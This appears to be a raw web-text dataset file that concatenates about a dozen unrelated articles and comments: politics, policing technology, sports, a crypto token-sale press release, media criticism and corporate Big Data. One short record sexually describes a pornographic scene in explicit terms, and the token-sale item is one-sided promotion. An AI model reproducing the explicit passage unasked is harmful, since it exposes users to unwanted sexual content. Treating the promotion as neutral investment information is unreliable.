minorities, elderly folks who have let their license expire because they don’t drive anymore, and young adults who haven’t gotten a driver’s license. It’s not a coincidence all of these groups trend more towards Democratic candidates. Even college students attending state universities would not be allowed to use their student ID’s at the polls. Again, college students tend to vote for Democrats. What’s that? You went to college out-of-state and left your birth certificate, social security card, etc. at your parents’ house? Sorry, you can’t vote here. Just decided a couple of days ago you wanted to vote, but didn’t have time to go through the whole process of getting a state ID? Sorry, try again next time. Stopped driving a few years ago and let your driver’s license expire? Sorry, you can’t vote to keep your Medicare. Volunteering for a campaign and trying to register voters for the election? If your audience didn’t bring their ID’s or birth certificates with them, tough luck. Don’t make too much money and would rather spend your money on food for your children than getting a worthless ID? Sorry, your priorities to your family are silly. Since when have we ever required anyone to pay any dollar amount to activate their right to vote in an election? Let’s be clear here. This is an intentional effort by the GOP to make voting a pain in the ass for groups who tend to vote for their opponents. They will tell you it is about preventing fraud, preventing illegals from voting, but it is pretty obvious what is really going on. They want to discourage people from voting who aren’t likely to vote for them. It’s worth noting that in Minnesota, this bill has already passed the GOP-controlled Senate. It’s expected to be voted on in the House as early as next week. Governor Dayton has said he won’t support it, but that’s not stopping the Republicans. They want to put the issue on the ballot in 2012, just like they are planning to do with the gay marriage ban. If they go that route, Dayton doesn’t have any power to stop it. But we do. It’s important for all of us to understand what is at stake here. This isn’t about illegal immigrants voting. This isn’t about protecting election integrity. It’s about suppressing your right to be heard in our elections. It puts voting rights on a pedestal that is harder to reach for some, and completely out of reach for others.	{ "pile_set_name": "OpenWebText2" }
Daniel Berehulak/Getty Images The Met Police has announced that it will start using controversial live facial recognition systems as part of its regular policing in London. The service has been trialling face matching technology on the streets of the capital since 2016 but will now significantly increase its use. "The use of live facial recognition technology will be intelligence-led and deployed to specific locations in London," the police force said in a statement. The Met says that the roll-out of live facial recognition will start in places where it believes the technology can help "locate serious offenders" and help to tackle crime. It's believed the first use of the technology will begin within the next month. It has not yet been announced where the technology will be used. At this stage it is also unclear whether the cameras used for facial recognition will be permanently deployed to one location or moved frequently around the city. Independent analysis, commissioned and since dismissed by the Metropolitan Police, found matches made using the Met's facial recognition systems were inaccurate 81 per cent of the time. Read next These Chrome extensions protect you against creepy web tracking These Chrome extensions protect you against creepy web tracking Met Police assistant commissioner Nick Ephgrave says that cameras will be "focused on a small, targeted area to scan passers-by" and that the cameras will be clearly signposted. As has been common in trials of the technology, police officers will hand out leaflets telling people about its use. "The technology, which is a standalone system, is not linked to any other imaging system, such as CCTV, body worn video or ANPR," the Met says. Between 2016 and 2019, the Met used facial recognition in 10 separate trials: including at the Notting Hill Carnival, in Leicester Square and at Remembrance Sunday commemorations taking place on Whitehall in November 2017. So how do the systems work? Live facial recognition technology capture images of people's faces as they walk within range of cameras. In trials across London the cameras have been attached to police vans which are clearly marked to explain that facial recognition technology is being used. The cameras could also be attached to static poles. Once a person has been detected by a camera a biometric map of their face is created and checked against an existing database of images. These databases are often called watchlists and can be individually created for different locations and policing purposes. The Met says for each of its live facial recognition uses across London it will create "bespoke" watchlists for the people it wants to identify. These will be "predominantly those wanted for serious and violent offences," the force says. Across the UK, more than 20 million photos of faces are contained in police databases. Read next The best VPN services tested for speed, reliability and privacy The best VPN services tested for speed, reliability and privacy When the system makes a match it can then alert police stationed near the cameras. They are able to decide if the alert is correct and then track the person down on the ground. Police say their system only keeps images captured by the cameras when a match has been made or an arrest happens – in these cases they're kept for 31 days. The rollout of the technology marks a significant expansion of surveillance technologies in London. Human rights groups have said the use of facial recognition systems is intrusive and has the potential to erode privacy in public places. The technology has also been found to be inaccurate in some of its uses. The Met's rollout of the technology appears to be in contradiction of an independent study conducted by academics with access to the Met's systems. In July 2019, two academics from the University of Essex, Daragh Murray and Pete Fussey, published a report that raised serious concerns about the use of facial recognition in London. The researchers attended six trials of the technology where it had correctly identified people 19.05 per cent of the time. Or, to put it another way, it was inaccurate 81 per cent of the time when the system believed it had made a match. The study was the most detailed report on the use of live facial recognition technology to date and involved interviews with Met Police officers and access to their systems. The researchers concluded it was "highly possible" that courts could decide the technology was unlawful and that it was likely to be "inadequate" under human rights laws. Both academics said it is unclear why people were being added to the police watchlists, with a later definition of being "violent" included as a reason for including certain individuals. They also said people had been included on watchlists incorrectly. In one trial in Romford in 2018, a 15-year-old boy who was identified had already been through the criminal justice system. Read next Free VPNs are a privacy nightmare. You shouldn’t download them Free VPNs are a privacy nightmare. You shouldn’t download them The research also said it was not clear why police had picked some locations for facial recognition trials and there wasn't a simple way to avoid the technology. Tests near the Stratford shopping centre in East London required people to take an 18 minute detour if they didn't want to be scanned by facial recognition cameras. In another case seen by the researchers, people reading information boards about the technology were already in range of the facial recognition cameras. The Met Police, which had commissioned the study, distanced itself from the findings. At the time of its release a spokesperson said the research had a "negative and unbalanced tone". London's use of live facial recognition technology sets itself out from other major cities around the world. San Francisco banned the tech in May 2019. Elsewhere in the US, Oakland, Somerville, Brookline and San Diego have also either banned or halted trials of its use. The UK's data protection regulator, the Information Commissioner's Office, has issued a statement on the wider rollout of the technology saying the Met has taken its advice on board but that it also wants to receive further information on how the technology will be used. "This is an important new technology with potentially significant privacy implications for UK citizens," the ICO said. It also called on the government to introduce codes of practice for how live facial recognition should be used. In Wales, campaigners are appealing a court case, which they previously lost, that aimed to ban use of facial recognition technology by police. The legal case was refused by judges "on all grounds". Read next Forget Google Maps. It’s time to try a privacy-friendly alternative Forget Google Maps. It’s time to try a privacy-friendly alternative Privacy campaigners have argued for new rules around how facial recognition data is handled. "It is unjustifiable to treat facial recognition data differently to DNA or fingerprint data," parliament's science and technology committee chair Norman Lamb MP said after completing a review in May 2018. Matt Burgess is WIRED's deputy digital editor. He tweets from @mattburgess1 More great stories from WIRED 👉 Follow WIRED on Twitter, Instagram, Facebook and LinkedIn 🍅 Why do modern tomatoes taste so bad? 🚙 How Tesla became the world's most overvalued car company 📽️ Marvel at the incredible real-life Iron Man 📢 How Slack ruined work	{ "pile_set_name": "OpenWebText2" }
The Montreal Canadiens are taking a chance on Riley Barber. On July 1, the Habs quietly inked the 25-year-old prospect to a one-year, two-way deal and later added more fringe NHL forwards to their offensive arsenal. While Barber is by no means a big name — yet — and is just on a trial run, he could finally get his chance to make the full-time jump to the next level and make an impact for the Canadiens out of the gate. NHL FREE AGENCY 2019: Recapping what all seven Canadian teams have done this offseason The Washington Capitals selected Barber in the sixth round of the 2012 NHL Draft. After that, he went the college hockey route and suited up with the University of Miami - Ohio, where he had 54 goals and 123 points in 116 NCAA games before foregoing his senior season to go pro. He had a breakout AHL rookie season to start his professional career in 2015-16, racking up 26 goals and 55 points in 74 games with the Caps' AHL-affiliate Hershey Bears. He'd suffer injury troubles moving forward but still showed top-6 potential. His play made him a first call-up come 2016-17 but got to appear in a total of just three NHL games for Washington. From there, things didn't bode well for Barber. He failed to impress the Caps, who were already deep up front, in training camp or the preseason, and even though he'd stay through several roster cuts over the next two seasons, he found himself in the minors, still fighting to prove his worth on a nightly basis. Barber finished out last year with a career-best 31 goals and 60 points in 64 games with Hershey, but the pending UFA all but knew he would likely be moving on from D.C., considering his lack of opportunity, an unsolidified relationship and a cap crunch. However, this year seems different for the Pittsburgh, Pa. native, who'll get more opportunity with Montreal. Looking at the depth chart, the Canadiens have a strong selection of right wings, but Barber could emerge as a contender for an extra forward spot on that opening night roster, creating ample competition for players like Nick Cousins, Nick Suzuki and others for that role. Not only does he prove to be a consistent scorer with a lethal shot and great vision at lower levels, but he's also a very coachable forward who is useful at both ends of the rink. Not only that, with a strong work ethic and a little upside, he has the potential to get ice time at higher levels. Montreal averaged three goals per game last season but didn't get as much production from the fourth line. While guys like Cousins, Suzuki, Ryan Poehling, Dale Weise and Charles Hudon are mainly expected to be higher on the depth chart than Barber, don't rule out the 6-0, 194-pound winger come September as a dark horse. He still has long ways to go, no doubt, but could turn heads. "This is a huge turning point in my career as a hockey player. Going into my fifth year pro, I really want to show everyone that I'm an NHL-caliber player and that I can play in that league," Barber told NHL.com of joining Montreal. "Coming into this year, my goal is to show people that I can play in that league on all four lines." At the very least, he'll be a huge asset for the Laval Rocket, a much-stronger AHL team heading into this season.	{ "pile_set_name": "OpenWebText2" }
Mannheim, 15. April 2016. (red/ms) Kein Projekt ist für die nächsten Jahrzehnte Mannheimer Stadtentwicklung auch nur ansatzweise so bedeutend, wie die Gestaltung des Benjamin Franklin Village. Auf einem Areal der Größe der Innenstadt soll ein Stadtteil nach Maß geschaffen werden. Nach jahrelanger Konzeption hat nun die Verwirklichung begonnen: Seit Anfang der Woche laufen die ersten Bauarbeiten. Eine große Bildstrecke. Von Minh Schredle Es ist die größte Wohnsiedlung, die US-amerikanische Streitkräfte je in Deutschland errichtet haben. Nach etwa vier Jahren Stillstand, in denen das Gelände sich selbst überlassen war und in denen Stadtplaner, Verwaltung, Bürgermeister und Gemeinderat in enger Absprache mit Investoren die Planung für einen Stadtteil nach Maß konzeptionierten, ist es nun so weit: Die ersten Bauarbeiten haben begonnen. Allein aus den Abrissarbeiten hat sich die MWSP, die für die Entwicklung der Konversionsflächen als Tochter der städtischen GBG gegründet worden ist, eine Mammut-Aufgabe gemacht – denn um möglichst zeitsparend und effizient voranzukommen, ist die Taktung enorm taff: Die Gesamtfläche wurde in sieben Zonen unterteilt. In einer davon begannen die Abrissarbeiten bereits am vergangenen Monat – im letzten soll erst Anfang 2019 damit angefangen werden. Einen Stadtteil beim Wachsen beobachten – im Zeitraffer Bis dahin sollen allerdings schon die ersten Bewohner auf Franklin eingezogen sein. Dr. Konrad Hummel, Geschäftsführer der MWSP, wünscht sich eine “lebendige Baustelle”. Das heißt: Die Mannheimerinnen und Mannheimer sollen möglichst bald Gelegenheit bekommen, das Gelände, das lange Jahre hinter Maschendraht-Zaun verborgen lag, zu begehen und zu beleben. Ganz neu ist das allerdings nicht: Denn bei verschiedenen Veranstaltungen, etwa den regelmäßig stattfindenden “Franklin Factorys” oder den Schillertage, war das bereits der Fall. Was nun aber der entscheidende Unterschied ist: Bei den künftigen Begehungen werden parallel Bauarbeiten durchgeführt. Das Wachsen des neuen Stadtteils wird somit nicht im Verborgenen stattfinden – sondern soll von allen Interessierten beobachtet werden können. Zuerst kommt der Sport Vorerst haben zwar wie gehabt nur Angemeldete und Registrierte Zugang zum Gelände – allerdings soll bereits am 11. Juni dieses Jahres das “Franklin Field” für den Sport freigegeben werden. Mit einer Fläche von 14 Hektar macht das “Field” immerhin knapp 10 Prozent des gesamten Areals aus. Die ehemalige Sportsarena der Streitkräfte soll bis September oder Oktober zu einer Boulderhalle werden, außerdem ist für Skater und Longboarder ein großes Turnier für den 02. Juli angesetzt werden. Etwa zwei Drittel der Bestandsbebauung auf Franklin Mittel werden abgerissen – den Rest will man “behutsam mordernisieren”, dass heißt, es soll vor allem allem die Energieeffizienz verbessert werden, ohne dass dabei zu massiv in das Erscheinungsbild des Bestands eingegriffen wird. Bauschutt: 500 olympische Schwimmbecken. Der anfallende Bauschutt entspricht laut Ralf Eisenhauer, SPD-Stadtrat und als Mitarbeiter der MWSP zuständig für die Baufeldfreimachung, etwa dem dreifachen Volumen der SAP-Arena und soll möglichst recyclet werden. Er sagt dazu: Wir haben eine Menge Erfahrung mit Bauprojekten – aber diese Größenordnung ist einmalig. Allein in die Hochbaumaßnahmen werden nach den Plänen der Stadt etwa eine Milliarde Euro investiert – das ist eine Hausnummer, an die aktuell kein anderes Mannheimer Projekt auch nur ansatzweise heranreicht.	{ "pile_set_name": "OpenWebText2" }
Minecraft tourne autour d’un principe simple: la survie. Le jeu est divisé en cycles de jour et de nuit. Pendant la journée, vous passez du temps de collecte des ressources, que ce soit à la recherche de minerai, creuser des trous, la pêche ou la plantation de cultures. Nuit est passé soit à l’intérieur, l’exploitation minière des tunnels souterrains, la construction d’outils ou la course autour de l’extérieur d’être chassé par des monstres. Vous devez uTorrent pour télécharger des .torrent fichiers.	{ "pile_set_name": "OpenWebText2" }
healthbank, the health data hub built for the 21st century, officially announced today an Security Token Offering (STO) to finance the further development of the healthbank ecosystem. healthbank, based in Switzerland, was founded in 2013 by a team of 28 academics, entrepreneurs, and healthcare experts with the goal of giving back control over the asset class of personal health data to the rightful owners, the people. In fact, healthbank empowers people across the globe to exchange their health data on a uniquely neutral and independent platform. Thanks to a safe ecosystem, healthbank is on its way to becoming the leading health data hub for the 21st century. healthbank is a game changer in the global health data market by offering providers, users, and healthcare professionals a secure and trusted environment for all health-related data, from fitness and medical data to personal health records, eMedications, and medical therapy plans, and much more. “Handing prescriptions and medication data to the user helps to build a secure, coherent and complete patient medication history, thus, making the patient’s life safer and more convenient. healthbank is a competent and reliable partner for users to progress down this path with”, said Christian Köpe, Head of Strategy and Public Affairs at Galenica AG. healthbank’s STO healthbank’s STO is the next step in the company’s growth. By offering an equity token, healthbank wants to give everybody the possibility to benefit from the growing value of the healthbank ecosystem. The overall STO strategy is different from most of the existing STO processes, by taking a long-term view that embodies the cooperative ethics, and sustainable business model, which is a foundational value of the healthbank cooperative. With the STO, healthbank wants to give everybody the possibility to invest in a market-proven business and contribute to the success of a neutral and independent health data ecosystem while benefiting from it through lower cost and long-term profit. People participating in the STO will be investing in a platform that already has more than 200,000 users. “Our vision at healthbank is to create a solution that can bring the digital world into the health ecosystem” said Reto Schegg, CEO at healthbank. “With today’s launch, we are taking a major step in that direction. healthbank is set to profoundly change the healthcare sector as we know it today”. During the STO period, healthbank will also issue a utility token, the HBE Token. The HBE token is implemented as a standard ERC20 token running on the Ethereum blockchain. healthbank plans to launch the STO on November 13th and will continue the sale for 10 weeks. However, the STO will end immediately upon reaching the hard cap of CHF 27,600,000. Early first round token holders will enjoy an additional 10% bonus when participating within the first 5 days of the STO. Up to 2,200,000,000 tokens will be issued in the STO, while the total supply will be 4,000,000,000. 1 HBE = CHF 0.0143. To participate in healthbank’s STO, users are asked to create an account. To get involved and find out more, visit healthbank’s website. In order to learn more about the project, join the Telegram Channel here.	{ "pile_set_name": "OpenWebText2" }
By Laylita Day I started to notice a disturbing trend among certain TV shows. Each one featured a biracial character, specifically a woman who had an Asian mom and White dad. The disturbing part of this was the fact that none of the Asian moms are actually in the shows with one slight exception. This caught my attention mainly because I too have a White dad and Asian mom. My mother and I are fairly close, so seeing show after show where the biracial daughter has no contact or knowledge of her mother made me feel uneasy. I began to ask myself why there were so many M.I.A. Asian moms in biracial TV families. In Bones, shown on Fox, there is the character of Angela Montenegro (Michaela Conlin), who is portrayed as half Chinese and half White. Her White father, played by Billy Gibbons has made several appearances on the show, while there is neither a sighting nor even a mention of her Asian mom. In Nikita (Maggie Q), shown on The CW, we are again met with a biracial woman whose White father shows up (for one episode before being killed off) while the mom has no place in the show. In Scorpion, shown on CBS and featuring Happy Quinn (Jadyn Wong), we are faced with another White father who slowly comes into his daughter’s life after a long absence due to the death of his wife, Happy’s mother. Again the Asian mom is written out of the story. In Beauty and the Beast, also on The CW, the character of Catherine Chandler (Kristin Kreuk) provides us with another biracial woman. This time we finally get to see an Asian mom, but who is immediately killed off. She does appear again in flashbacks but only three times. The fact that Catherine’s father, both her biological one and not biological one appear more often continues the trend of making the White male character/father a higher priority than the Asian character/mom. By presenting the White father, viewers can clearly see the protagonist as biracial, which is needed in network TV considering the growing population of biracial and multiracial people today. According to the 2010 Census, the multiple-race population grew faster than the single-race one by 32 percent from 2000 to 2010 with 9 million people identifying as multi-racial. Those identifying as White and Asian were the third largest group at 1.6 million and grew at about 750,000, an increase of 87 percent. But the problem remains that the selective depiction of biracial characters and their families creates a lack of representation for biracial families and the issues they deal with. These issues could include obvious cultural clashes, but the real importance of being able to see these families is to make known both the joys and struggles of living in a society that still grapples with accepting interracial dating, marriage and being biracial. Possible reasons for not showing more non-Whites, in this case Asian moms in biracial families, could stem from the opinions of writers and producers, attempting to show diversity while still reinforcing the tradition of having mostly White characters and/or trying to avoid backlash at showing a married interracial couple with a child, such as what happened with the famous Cheerios commercial, depicting a White woman with an African-American husband and biracial daughter. This latter possible reason is especially important in showing how part of society still thinks negatively about interracial couples and biracial families, how such families are still considered not appropriate and not “normal”. That’s exactly the very reason network shows should present such families more. The more they are depicted in the media, the less unusual they will become and hopefully more accepted and understood. It could also give biracial families a platform to present their families in all types of ways. Such depictions could include being the only ones in a neighborhood or town and dealing with racism, living in highly diverse places and not seeing any difference in their lives from anyone else, or experiencing something else entirely. Until these narratives are explored and represented on TV, the general public may only see one version of biracial families, effectively stereotyping them and misunderstanding what it means to be a part of such families. The same can be said for gay families who also fight for accurate representation. On a broader level, the trend of missing or killing off characters of color is not limited to Asian moms in biracial families. One could say that the M.I.A. Asian moms is simply a case of using the common tragic dead/missing mom story trope, but even if that is part of the answer, there are shows that give the impression that the non-White character is just a temporary diversity filler. Examples include Joss Carter (Taraji Henson) from Person of Interest (creating an all-White cast), Michelle Lee (Liza Lapira) from NCIS, Dominic Vail (Adam Craig) from NCIS: Los Angeles (replaced by the White character Marty Deeks), Dr. Olivia Fawcett (Mylène Dinh-Robic) from The Listener and so on. Of course there could be behind the scenes issues, such as the actor/actress does not want to continue the role, but even with that consideration, one usually can see that the replacements or lack of these characters creates a less diverse cast afterwards and that is the real problem. Coming back to the issue of Asian moms, while we see these strong biracial Asian female protagonists who play diverse roles (cop, spy, forensic artist and mechanical engineer) and get a taste of the diversity that we see in real life, each show still falls short of what could be an even better, more accurate depiction of biracial families. Showing only one group, White dads, while excluding or ignoring the Asian moms of biracial families only reinforces a separation of the two groups. This leads to an opposing depiction of biracial families that lessens the impact of having a biracial character. While not every show with a biracial character has to depict the whole family, not every show should be absent of them too. These families do not always have to be portrayed as happily together because that is not always the case in real life. But shows that make an effort to show a biracial character should try to make an effort to show the biracial family that goes with the character and the experiences that surround them. Otherwise it is not a true depiction of biracial life for half Asians, but a very one-sided one where the image of biracial is shown but not discussed. For biracial families, it is time to be seen and heard no matter what backlash is thrown their way.	{ "pile_set_name": "OpenWebText2" }
Not really a morning pony, huh? I usually take my coffee early in the day, you look like a pony who'd take it to stay up all night.	{ "pile_set_name": "OpenWebText2" }
Taiwan President Tsai Ing-wen waves to the supporters at the celebration of the 14th presidential inauguration on May 20, 2016 in Taipei, Taiwan. Taiwan's ruling party was handed a major defeat in local elections Saturday that were seen as a referendum on the administration of the island's independence-leaning president amid growing economic and political pressure from China. Soon after the results came in, President Tsai Ing-wen resigned as head of the Democratic Progressive Party. She will remain as president and her resignation will have no direct effect on the business of government, although the results bode ill for her re-election chances in two years. Rival China said the results reflected a desire of Taiwanese for better relations with the mainland. Ma Xiaoguang, the spokesman for Beijing's Taiwan Affairs Office, said his government will continue to treat Taiwan as part of China and "resolutely oppose separatist elements advocating 'Taiwan independence' and their activities," according to the official Xinhua news agency. In another victory for China, voters rejected a proposal to change the name of its Olympic team to Taiwan from the current Chinese Taipei. They also approved a referendum opposing same-sex marriage in a setback to LGBT couples, though ballot initiatives in Taiwan are non-binding. The DPP lost the mayoral election to the Nationalist party in the southern port city of Kaohsiung, where it had held power for 20 years. The Nationalists also defeated the DPP in the central city of Taichung, home to much of Taiwan's light industry, while Ko Wen-je, the independent mayor of Taipei, the capital, narrowly won a second term. The Nationalist candidate in Taipei has asked for a recount. At a brief news conference at DPP headquarters late Saturday, Tsai announced she was stepping down as DPP chair and said she had refused Premier William Lai's resignation, saying she wanted him to continue her reform agenda. "Today, democracy taught us a lesson," Tsai said. "We must study and accept the higher expectations of the people." The elections for mayors and thousands of local posts were seen as a key test for Tsai's 2-year-old administration, which has been under relentless attack from Beijing over her refusal to endorse its claim that Taiwan is a part of China. Tsai and the DPP won a landslide victory in 2016, but China swiftly responded by cutting all links with her government. Beijing has been ratcheting up pressure on the island it claims as its own territory by poaching its diplomatic partners and barring its representatives from international gatherings, while staging threatening military exercises and limiting the numbers of Chinese tourists visiting Taiwan. The Nationalists, known also as the KMT, had campaigned on their pro-business image and more accommodating line toward Beijing. Since her election, Tsai has walked a fine line on relations with China, maintaining Taiwan's de facto independent status that the vast majority of Taiwanese support, while avoiding calls from the more radical elements of her party for moves to declare formal separation from the mainland. Taiwanese officials had warned that Beijing was seeking to sway voters through the spread of disinformation online similar to how Russia was accused of interfering in U.S. elections. Although domestic concerns were in the foreground, China played a major factor in voter sentiment, analysts said. "I think part of the reason for the vote on Saturday was concern about relations between Taiwan and mainland China," said Huang Kwei-bo, vice dean of the international affairs college at National Chengchi University in Taipei. "Their relations have slid backward." Saturday's results also throw Tsai's political future into question. While the DPP still controls the national legislature, local politicians are crucial in mobilizing support among grass-roots supporters. "I'm afraid it will be a big challenge for her in 2020," said Gratiana Jung, senior political researcher with the Yuanta-Polaris Research Institute think tank in Taipei. Economic growth, employment and pension reforms were among key issues in the elections, which drew high turnout from the island's 19 million voters. Government employees who feel slighted by pension cuts that took effect in July probably mobilized against Tsai's party, Jung said. Nationalist Party Chairman Wu Den-yih told reporters Saturday that his party would keep trying to avoid diplomatic friction with China and ensure smooth two-way trade. "We hope the two sides will soon go back to a peaceful and stable trend in relations," he said. Chiang Kai-shek's Nationalists rebased their government to Taiwan in 1949 amid the civil war with Mao Zedong's Communists. They ruled under martial law until the late 1980s, when the native Taiwanese population began to take political office, mostly through the DPP. The vote against changing the name used in international sporting events to Taiwan was seen as a test of support for independence. It was symbolic in nature, as the International Olympic Committee had ruled out a name change, which would be opposed by China. Though referendums are only advisory, the vote in favor of restricting marriage to male-female couples will likely put lawmakers in a difficult position. They face both a court order to make same-sex marriage legal by 2019 and elections in 2020.	{ "pile_set_name": "OpenWebText2" }
Michael Fallon met with the US Commander of the Combined Joint Task Force Lt General James Terry and the UK Deputy Commander Major General Bob Bruce at Camp ‘Arifjan, the Headquarters for anti-ISIL operations. During talks, Mr Fallon received an update on operational activity against ISIL. He emphasised the UK’s position that ISIL must be defeated in both Iraq and Syria and reaffirmed the UK’s intention to contribute to a US-led programme to train the Syrian Moderate Opposition at training sites across the Middle East. Mr Fallon also discussed the UK’s significant contribution to the international coalition’s air campaign and the training and assistance provided to the Iraqi military. Defence Secretary Michael Fallon said: I came here to review progress in the campaign to defeat ISIL with Lt General Terry and Major General Bruce and to consider what more we can do counter its violent ideology. This is a fight that ultimately can only be won on the ground and we are making a major contribution to assist Iraqi forces. Our aircraft have conducted around 160 strikes and provided vital refuelling capability; and the recently deployed E3-D aircraft will boost the coalition’s command and control and surveillance capabilities. But ISIL must be defeated in both Iraq and Syria. Our actions and surveillance capabilities are freeing up other countries to strike in Syria. I reiterated today that Britain intends to contribute to the coalition’s training of moderate Syrian opposition. Mr Fallon travelled to Kuwait as part of a wider Gulf visit as UK air activity over Iraq increased significantly recently, with RAF Tornados attacking a number of ISIL positions threatening Iraqi ground operations over the weekend. The trip will focus on how countries in the region can continue to tackle extremist groups. En route to Kuwait, Michael Fallon also met with His Majesty King Abdullah II and the Chairman of the Joint Chiefs of Staff, General Mashal M. Al-Zaben in Jordan to reinforce the UK’s commitment to the Jordanian Armed Forces and to explore the country’s vision for countering the threat of ISIL to the region.	{ "pile_set_name": "OpenWebText2" }
you are a very professional and humble artist! that is excellent to see on dA. i think i am more inclined towards conceptualizing characters and props than painting interesting artistic pieces. it is just that i appreciate the density of mood you and other artists create with that artistic methodology, and i kind of wish i could spend more time doing the same. i feel the same way about learning to 3d-model, but i now know that it's too time-consuming to focus on right now. so, i'm an industrial design major for the time being, because i want to be able to communicate the complex visual forms and mechanisms i think up. do you happen to be an art student yourself?	{ "pile_set_name": "OpenWebText2" }
Pavel is back again, this time to break in Charley’s rosy-red butthole, which the bearded wonder manages to do quite well, including blowing a load deep in the newbie’s ass, only to have Charley flex his sphincter muscles and pump out the jizz back onto Pavel’s dick! And the scene is only HALF over at that point, so you know there’s more good stuff ahead! All the gooey details follow.	{ "pile_set_name": "OpenWebText2" }
Photo credit: Jason Hiner \| CBS Interactive While Big Data is arguably the hottest buzz phrase in tech in 2012, there is a shockingly scarce amount of information about how real companies are using Big Data to do big things. We recently sat down with Ford, one of the world’s most data-driven and data-rich companies, to talk about how the revived U.S. automaker is using Big Data analytics for real world stuff and what kinds of possibilities it sees for the future of this red-hot segment of IT. Ford’s Big Data analytics leader John Ginder, who technically runs the Systems Analytics and Environmental Sciences team in Ford Research, said that the combination of Ford’s near-death experience in the mid-2000s and the arrival of CEO Alan Mulally in 2006 have changed the company into a data hound that is sitting on a wealth of data stores that could be used to benefit consumers, the general public, and Ford itself. Crisis and opportunity Ford's John Ginder "We went through a really difficult period in the last decade where we lost about half of our people and were near death at one point,” said Ginder (right). “It really encouraged people to think outside the box and think about solutions coming from folks like us that they may not have considered in the past. There is a lot more willingness to consider analytical solutions, simulations, novel approaches that maybe are different from the traditional business or intuitional approach. That's benefited us greatly." Ford began started getting serious about analytics in the 1990s as servers and storage got cheaper and many Wall Street companies showed the world what was possible with serious data modeling. Various analytics groups popped up within Ford, including what would become Ginder’s group in Research, as well as separate groups in Marketing, in the Ford Credit department, and in other groups. Still, all of these analytics groups were focused on a few very specific tasks -- like risk analysis in Ford Credit -- or were doing more abstract scientific stuff like the Research group and weren’t being called upon to be a core business driver. But then, Ford’s near-death experience "helped open people's minds [and] created a sense of panic,” recalled Ginder. He said Ford leaders started looking at each other and asking, “What do we do? Well, let's ask these guys.” That gave analytics the chance to step in and play a big role in Ford’s turnaround. At the same time, another factor came into play -- the arrival of a new CEO. Ginder said, “Alan Mulally came in in 2006 and he has meetings every week with his direct reports that are filled with tables and charts saying, 'How are we doing against our objectives? Quantitatively, are we hitting whatever the metrics are, and if we're missing them, then why?' That trickles down and encourages a data-driven approach in the company. I hate to admit it, but some parts of the company would have been less [data-driven] if they were left to their own devices.” Big Data at Ford With analytics now embedded into the culture of Ford, the rise of Big Data analytics has created a whole host of new possibilities for the automaker. "We recognize that the volumes of data we generate internally -- from our business operations and also from our vehicle research activities as well as the universe of data that our customers live in and that exists on the Internet -- all of those things are huge opportunities for us that will likely require some new specialized techniques or platforms to manage,” said Ginder. “Our research organization is experimenting with Hadoop and we're trying to combine all of these various data sources that we have access to. We think the sky is the limit. We recognize that we're just kind of scraping the tip of the iceberg here." The other major asset that Ford has going for it when it comes to Big Data is that the company is tracking enormous amounts of useful data in both the product development process and the products themselves. Ginder noted, "Our manufacturing sites are all very well instrumented. Our vehicles are very well instrumented. They're closed loop control systems. There are many many sensors in each vehicle… Until now, most of that information was [just] in the vehicle, but we think there's an opportunity to grab that data and understand better how the car operates and how consumers use the vehicles and feed that information back into our design process and help optimize the user's experience in the future as well." Of course, Big Data is about a lot more than just harnessing all of the runaway data sources that most companies are trying to grapple with. It’s about structured data plus unstructured data. Structured data is all the traditional stuff most companies have in their databases (as well as the stuff like Ford is talking about with sensors in its vehicles and assembly lines). Unstructured data is the stuff that’s now freely available across the Internet, from public data now being exposed by governments on sites such as data.gov in the U.S. to treasure troves of consumer intelligence such as Twitter. Mixing the two and coming up with new analysis is what Big Data is all about. "The fundamental assumption of Big Data is the amount of that data is only going to grow and there's an opportunity for us to combine that external data with our own internal data in new ways,” said Ginder. “For better forecasting or for better insights into product design, there are many, many opportunities." Ford is also digging into the consumer intelligence aspect of unstructured data. Ginder said, "We recognize that the data on the Internet is potentially insightful for understanding what our customers or our potential customers are looking for [and] what their attitudes are, so we do some sentiment analysis around blog posts, comments, and other types of content on the Internet." That kind of thing is pretty common and a lot of Fortune 500 companies are doing similar kinds of things. However, there’s another way that Ford is using unstructured data from the Web that is a little more unique and it has impacted the way the company predicts future sales of its vehicles. "We use Google Trends, which measures the popularity of search terms, to help inform our own internal sales forecasts,” Ginder explained. “Along with other internal data we have, we use that to build a better forecast. It's one of the inputs for our sales forecast. In the past, it would just be what we sold last week. Now it's what we sold last week plus the popularity of the search terms... Again, I think we're just scratching the surface. There's a lot more I think we'll be doing in the future." Big Data still needs better tools The reason why Ford is only scratching the surface on a lot of this Big Data stuff is that the tools for it are still in their infancy. In spite of the fact that there’s so much buzz around Big Data in 2012, there are still relatively few turn-key commercial tools to help big companies do this stuff. Ginder and his group mostly rely on open source tools like Hadoop for managing large sets of data and the R Project for statistical analysis and other open source apps for data mining and text mining. While these types of tools are extremely powerful and scalable, they also require highly-skilled, database-trained IT professionals and programmers to operate them. Another one of the promises of Big Data is that non-technical people will eventually be able to use natural language tools to access these giant mashed-up data sets. These “data scientists” of the future won’t have to know how to string together SQL queries, but will be more like business analysts who know how to ask the right kinds of questions in order to discover data gems that can change the ways a company thinks about a problem. However, Ginder still sees that as a future state that’s still several steps away. "That's a great endpoint I'd love us to move toward,” said Ginder, “but there aren't enough of us and there aren't enough of those tools out there to enable us to do that yet. We have our own specialists who are working with the tools and developing some of our own in some cases and applying them to specific problems. But, there is this future state where we'd like to be where all that data would be exposed. [And] where data specialists -- but not computer scientists -- could go in and interrogate it and look for correlations that might not have been able to look at before. That's a beautiful future state, but we're not there yet." The good news is that once the tools develop and Ford gets to a future state with Big Data, Ginder would like to see Ford share a lot of its data openly with the larger community. "We need to give ourselves and everyone in the community access to this data and these tools,” Ginder said. “Some of it is proprietary, of course, but once it's in our hands I think then we might discover applications or uses that we hadn't really imagined that might be more helpful or more important than the ones that were envisioned at the beginning. Get it in people's hands, let them experiment with it, and I'm sure it will open up huge new opportunities for us." In terms of the amazing possibilities, Ginder speculated about some of the things Ford could do with Big Data once the tools catch up. "Increasingly we're incorporating cameras on vehicles… What else could we use [camera] data for, and can we combine that high bit-rate data with other kinds of sensor signals to help inform context-awareness for various types of applications, just as another environmental sensor, if you will?” Ginder said. “We've got sensors on the car now. We've got temperature, pressure, humidity, local concentrations of pollutants (the stuff coming out of tailpipes), so what else can we do with these new sensors? That's a huge unexplored opportunity for us. Can you build better weather forecasts? Can you make better traffic predictions? Can you help asthmatics avoid certain areas? Can you control the airflow in the car?" At this point, it’s easy to tell why Big Data wonks like Ginder are fired up about where Big Data analytics is going to take us in the next few years, even if we’re still only taking baby steps in 2012. 